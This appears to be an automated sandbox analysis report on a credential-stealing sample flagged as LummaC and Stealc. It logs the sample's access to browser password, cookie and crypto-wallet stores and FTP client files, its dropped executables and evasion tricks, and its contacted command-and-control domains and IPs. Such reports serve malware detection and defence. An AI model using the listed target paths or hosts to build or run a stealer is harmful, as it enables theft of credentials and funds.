Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\FTPbox Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\FTPRush Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\FAAGWHBVUU Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\FAAGWHBVUU Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\NIRMEKAMZH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\NIRMEKAMZH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\VWDFPKGDUF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\VWDFPKGDUF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\FAAGWHBVUU Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\FAAGWHBVUU Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\FAAGWHBVUU Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\FAAGWHBVUU Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LFOPODGVOH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LFOPODGVOH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\NIRMEKAMZH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\NIRMEKAMZH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\CZQKSDDMWR Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GJBHWQDROJ Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\NIRMEKAMZH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\NIRMEKAMZH Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\VWDFPKGDUF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\VWDFPKGDUF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\BWDRWEEARI Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: number of queries: 1001
Yara detected Credential Stealer
Source: Yara match File source: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1460101126.0000000001309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Bire1g8ahY.exe PID: 7312, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: Bire1g8ahY.exe PID: 7312, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1765472956.00000000000C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1678261591.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579765 Sample: Bire1g8ahY.exe Startdate: 23/12/2024 Architecture: WINDOWS Score: 100 22 sweepyribs.lat 2->22 24 sustainskelet.lat 2->24 26 9 other IPs or domains 2->26 36 Suricata IDS alerts for network traffic 2->36 38 Found malware configuration 2->38 40 Antivirus / Scanner detection for submitted sample 2->40 42 9 other signatures 2->42 7 Bire1g8ahY.exe 2 2->7         started        signatures3 process4 dnsIp5 28 185.215.113.16, 49755, 80 WHOLESALECONNECTIONSNL Portugal 7->28 30 lev-tolstoi.com 172.67.157.254, 443, 49702, 49703 CLOUDFLARENETUS United States 7->30 32 steamcommunity.com 104.102.49.254, 443, 49700 AKAMAI-ASUS United States 7->32 18 C:\Users\...\4830TYWIJQ5SCGDL2FZPZJN92URB.exe, PE32 7->18 dropped 20 C:\Users\user\...\1I4F16VK8DFW90DXD.exe, PE32 7->20 dropped 44 Query firmware table information (likely to detect VMs) 7->44 46 Found many strings related to Crypto-Wallets (likely being stolen) 7->46 48 Tries to harvest and steal ftp login credentials 7->48 50 8 other signatures 7->50 12 4830TYWIJQ5SCGDL2FZPZJN92URB.exe 9 1 7->12         started        15 1I4F16VK8DFW90DXD.exe 13 7->15         started        file6 signatures7 process8 dnsIp9 52 Detected unpacking (changes PE section rights) 12->52 54 Machine Learning detection for dropped file 12->54 56 Modifies windows update settings 12->56 64 7 other signatures 12->64 34 185.215.113.206, 49791, 80 WHOLESALECONNECTIONSNL Portugal 15->34 58 Antivirus detection for dropped file 15->58 60 Tries to detect sandboxes and other dynamic analysis tools (window names) 15->60 62 Tries to evade debugger and weak emulator (self modifying code) 15->62 signatures10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.67.157.254
 lev-tolstoi.com United States
13335 CLOUDFLARENETUS false
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false

Contacted Domains

Name IP Active
steamcommunity.com 104.102.49.254 true
lev-tolstoi.com 172.67.157.254 true
sustainskelet.lat unknown unknown
crosshuaht.lat unknown unknown
rapeflowwj.lat unknown unknown
grannyejh.lat unknown unknown
aspecteirs.lat unknown unknown
sweepyribs.lat unknown unknown
discokeyus.lat unknown unknown
energyaffai.lat unknown unknown
necklacebudi.lat unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ false
    		high
    aspecteirs.lat false
      		high
      sweepyribs.lat false
        		high
        sustainskelet.lat false
          		high
          rapeflowwj.lat false
            		high
            https://steamcommunity.com/profiles/76561199724331900 false
              		high
              energyaffai.lat false
                		high
                https://lev-tolstoi.com/api false
                  		high
                  grannyejh.lat false
                    		high
                    necklacebudi.lat false
                      		high
                      crosshuaht.lat false
                        		high